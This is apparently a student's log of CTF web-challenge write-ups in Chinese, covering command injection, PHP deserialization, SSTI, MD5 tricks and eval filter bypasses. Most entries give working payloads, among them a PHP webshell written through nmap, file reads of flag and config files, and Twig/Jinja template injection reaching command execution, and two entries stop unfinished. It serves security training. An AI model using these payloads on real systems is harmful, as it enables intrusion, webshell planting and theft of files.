刷題記錄
- BUUCTF 2018 online Tools
- ACTF 2020新生賽 include
- ZJCTF 2019 NiZhuanSiWei
- ACTF 2020新生賽 Exec
- SUCTF 2019 Pythonginx
- BJDCTF 2020 Easy MD5
- CISCN 2019 華北賽區 Day1 Dropbox(未完成)
- 網鼎杯 2018 unfinish(未完成)
- [網鼎杯 2020 青龍組]AreUSerialz
- [BJDCTF2020]Mark loves cat
- [WesternCTF2018]shrine
- [BJDCTF2020]Cookie is so stable
- [CISCN 2019 初賽]Love Math
BUUCTF 2018 online Tools
考點有兩個:nmap寫入文件和escapeshellarg()+escapeshellcmd()兩個函數的配合。
打開題目,看到代碼:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
上面的xff別管,關鍵是下面的host參數的處理。可以看到,有直接的命令執行函數,但經過測試發現|
和&
都是沒有用的。看到nmap可以想到-oG參數寫入文件。
再看escapeshellarg()
和escapeshellcmd()
。百度一下,escapeshellarg的作用是給字符串增加一個單引號並且能引用或者轉碼任何已經存在的單引號
,escapreshellcmd的作用是:對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義
先看看效果:
再看看在shell執行的結果
可以看到並沒有執行成功
再看看題解的結果
運行結果如下:
爲什麼呢?因爲第一個沒有加單引號的payload,由於沒有單引號,所以在payload的兩邊加上了單引號,再通過escapeshellcmd()加上轉義字符,最後運行結果相當於'<?php php@eval($_POST["Cknife"]);?> -oG a.php'
。
而第二個的運行結果被分成了好幾部分,相當於運行的結果如下:\ <?php @eval($_POST["Cknife"]);?> -oG a.php \\
(單引號之間看作一部分,空格隔開又算一部分,轉義字符\\
相當於\
),所以nmap纔會這樣一部分一部分地報錯,而且由於nmap看懂了-oG參數,所以這部分沒有報錯。
a.php文件如下:
最後用蟻劍連上即可得到flag:
payload:' <?php @eval($_POST["Cknife"]);?> -oG a.php '
參考文章:https://paper.seebug.org/164/#_2
https://blog.csdn.net/qq_26406447/article/details/100711933
ACTF 2020新生賽 include
php僞協議,payload:file=php://filter/read=convert.base64-encode/resource=flag.php
。
ZJCTF 2019 NiZhuanSiWei
點進去,代碼如下:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先看到$text
的值要爲welcome to the zjctf,php僞協議即可。$file
不能直接讀取flag.php文件,但可以看到提示我們讀取useless.php文件,
得到代碼如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
很明顯,用$password
反序列化和php僞協議讀取flag.php文件。
payload如下:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}
,同時post數據:welcome to the zjctf
base64解碼即可得到flag。
ACTF 2020新生賽 Exec
利用管道符執行命令,用0|ls ../../../../../../../../
可以看到根目錄有flag再用cat讀取即可
payload:0|cat ../../../../../../../../flag
SUCTF 2019 Pythonginx
打開就發現有python代碼,如下:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
urlparse()
是用來分割url的,通過if判斷可以知道前兩次要host不爲suctf.cc,最後一次卻要求host爲suctf.cc。
最後一個return很明確,會讀取經過過濾的URL的文件了,不過沒有對協議進行限制,所以我們可以用file協議讀取文件。而且很顯然需要繞過對host的檢查,但我試了很多繞過url的辦法都沒有成功,後來才知道是關於一個CVE的:urlsplit不處理NFKC標準化。
關鍵在於這條語句:newhost.append(h.encode('idna').decode('utf-8'))
還有下面的finalUrl = urlunsplit(parts).split(' ')[0]
payload在github上:https://github.com/python-hyper/hyperlink/issues/19
我們按照CVE試一試:
可以看到,由idna編碼轉換成utf-8後會發現這裏的url改變了。於是我們可以利用這個來繞過第三條if語句:
然後我們利用這個讀取nginx的配置文件:
payload如下:file://suctf.c℅pt/../../../usr/local/nginx/conf/nginx.conf
可以看到有/usr/fffffflag
讀取即可得到flag。
BJDCTF 2020 Easy MD5
進去試了試啥都沒有,發現會有重定向,沒有源碼泄露。於是抓包送入repeater發現在header裏有一個hint。
md5函數的作用如下:
我們首先要了解啥是16位原始二進制格式的字符串,我們可以把它理解成下圖的效果:
也就是說,這個函數進行MD5函數的參數爲true時,得到的md5字符串會被當成16進制來執行。我們可以構造一個字符串,讓它的md5開頭爲276F7227
,(因爲276F7227
經過16進制解碼後即爲'or'
就是萬能密碼)。
字符串ffifdyop
恰好就是這樣的,它的md5加密就是276F722736C95D99E921722CF9ED621C
,解碼後就是上圖的ASCII碼。
然後可以得到一個hint:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
MD5弱類型比較,數組繞過即可。
payload:?a[]=a&b[]=b
又得到一串源碼:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
MD5強碰撞,寫過很多次,具體可以看https://www.cnblogs.com/kuaile1314/p/11968108.html
payload:param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
參考文章:https://blog.csdn.net/March97/article/details/81222922
CISCN 2019 華北賽區 Day1 Dropbox(未完成)
點進去,註冊admin,登陸,發現界面:
上傳圖片文件後,發現沒有返回存儲目錄。於是嘗試下載,發現了任意文件讀取:
試過了讀取flag.php和flag.txt後發現並沒有找到flag,可以猜測flag在根目錄。download.php裏有這麼一句話:ini_set("open_basedir", getcwd() . ":/etc:/tmp");
設置了只有當前工作目錄及/etc
、/tmp
可以被fopen等函數打開。所以肯定不能用download.php來讀取。
delete.php關鍵代碼如下:
<?php
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();//創建對象class.php中的File
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();//利用點
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php的部分代碼如下:
<?php
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭澆</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
題目提示我們phar,加上很多魔術函數,可以確定是利用phar反序列化漏洞。在File
類的close
函數有file_get_content()
,而且在User
類的魔術函數中調用了,我們可以利用一下。
網鼎杯 2018 unfinish(未完成)
打開頁面,發現先讓我們登陸,
試試register.php,發現可以註冊,
於是註冊郵箱爲[email protected]用戶名爲admin,密碼爲123,登陸後發現啥都沒有,但可以看到用戶名,猜測有二次注入。
於是回到register.php頁面,在用戶名處測試payload:0'+(select hex(hex(database())))+'0
,註冊成功(註冊成功會302跳轉,失敗則返回200),發現成功注入
得到database爲web
,要用兩次hex的原因如下:
因爲如果hex一邊後的字符有字母的話,與0相加只會顯示開始的數字,遇到字母就不顯示了。但還有一個問題,就是兩次hex之後會變得很長,這樣它就會用科學計數法表示,效果如下:
這樣我們就無法解碼hex。我們採取的辦法是進行切割再相加,每10個字符進行一次切割再與0相加,然後利用from for語法即可得到全部信息。
[網鼎杯 2020 青龍組]AreUSerialz
點進去後就是一串源碼:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
經典反序列化漏洞,大致方向就是通過$op=2
來觸發read函數,再將$filename
通過php僞協議讀取文件即可。但有兩個問題,一個是__destruct的強類型比較:
這個倒是挺好繞過的,因爲"2"
在PHP中會將其當作字符串進行處理,在process處比較時確實用的弱類型比較。我們令$op=2
即可成功繞過。
下一個是比較難繞的:protected
。在該類裏,$op,$filename,$content
都是protected,protected的變量進行編碼後會帶%00,不能通過is_valid函數的檢查。
比較簡單的繞法是:php7.1+版本對屬性類型不敏感,本地序列化的時候將屬性改爲public進行繞過即可。因爲在PHP7.1版本的process_nested_data函數中,對於屬性沒有進行特別的處理,最終導致的繞過。
payload:?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
[BJDCTF2020]Mark loves cat
首先git源碼泄露獲取源碼:
得到關鍵代如下:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){//GET傳輸的flag參數必須等於flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){//POST和GET裏都必須有一個flag參數
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){//GET或POST的flag參數不能爲flag
exit($is);
}
echo "the flag is: ".$flag;
?>
分析代碼:
forsearch:
post傳參和get傳參的參數鍵名和值
關鍵在於這個$$x = $y
和$$x=$$y
如果我們GET參數傳遞yds=flag
,則相當於$yds=$flag
。
此時我們只要將$yds
帶出來即可,而恰好有一條語句可以帶出來:
也就是說,只要POST的flag不爲’flag’(或者直接不傳入flag參數)即可得到flag
payload:?yds=flag
(這題我還以爲是要讓三個條件全部通過才能得到flag,沒想到是通過其他變量直接帶出來,難頂)
[WesternCTF2018]shrine
源碼如下:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
SSTI,過濾了(
、)
、config
、self
,但flag需要通過config[‘FLAG’]來讀取。
如果沒有過濾config,則可以直接用{{config}}
。
如果沒有過濾self,則可以用self.__dict__
。
如果小括號沒有過濾,則payload可以是這樣:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG']
## 作者給的; <type 'dict_keys'> 裏本身就有 OS
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
但小括號也被過濾了,所以只能換一種方式了。
因爲這裏過濾了config,self和self,所以要訪問到config,所以首先得找到全局變量current_app。
能跑出x.__globals__
的函數有這麼幾個:
url_for
g
request
namespace
lipsum
range
session
dict
get_flashed_messages
cycler
joiner
config
其中url_for和get_flashed_messages這兩個方法的__globals__
中,均有current_app,那麼獲得current_app以後就可以直接訪問config。
current_app。
flag
payload:
url_for.__globals__['current_app'].config
或get_flashed_messages.__globals__['current_app'].config
參考文章:https://www.cnblogs.com/tr1ple/p/9415641.html
[BJDCTF2020]Cookie is so stable
在flag.php處註冊後,在cookie處有SSTI:
而且看到是PHP語言。
payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat%20/flag")}}
這個payload的具體解釋可以看這篇文章
[CISCN 2019 初賽]Love Math
代碼審計:
<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
函數是白名單過濾,字符是黑名單過濾。
之前有一題我們提到了一個PHP的特性:$a=phpinfo;$a();
等同於<?php phpinfo();?>
。
還有一個重要的函數沒有過濾:base_convert()
,用法如下:
寫個小例子:
圖中的36進制是因爲10數字+26字母,即爲36進制,通過這樣的方法來構造字母和數字。
構造的payload如下:
?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){2})
$pi=base_convert
是爲了減少長度(這裏我們使用的是函數名最短的那個,其他字母會被白名單過濾),30進制同理(因爲t爲第20個字母,所以後面的幾個字母用不上就沒必要了)。這條語句等同於exec(getallheaders(){2})
(可以把裏面的getallheaders直接換成想要執行的命令,一樣的),這個2就是headers的參數,結果如圖:
也可以通過異或進行處理,獲取字符,這裏我貼一個大佬的腳本:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
?>
用來爆破字符,得到想要的payload。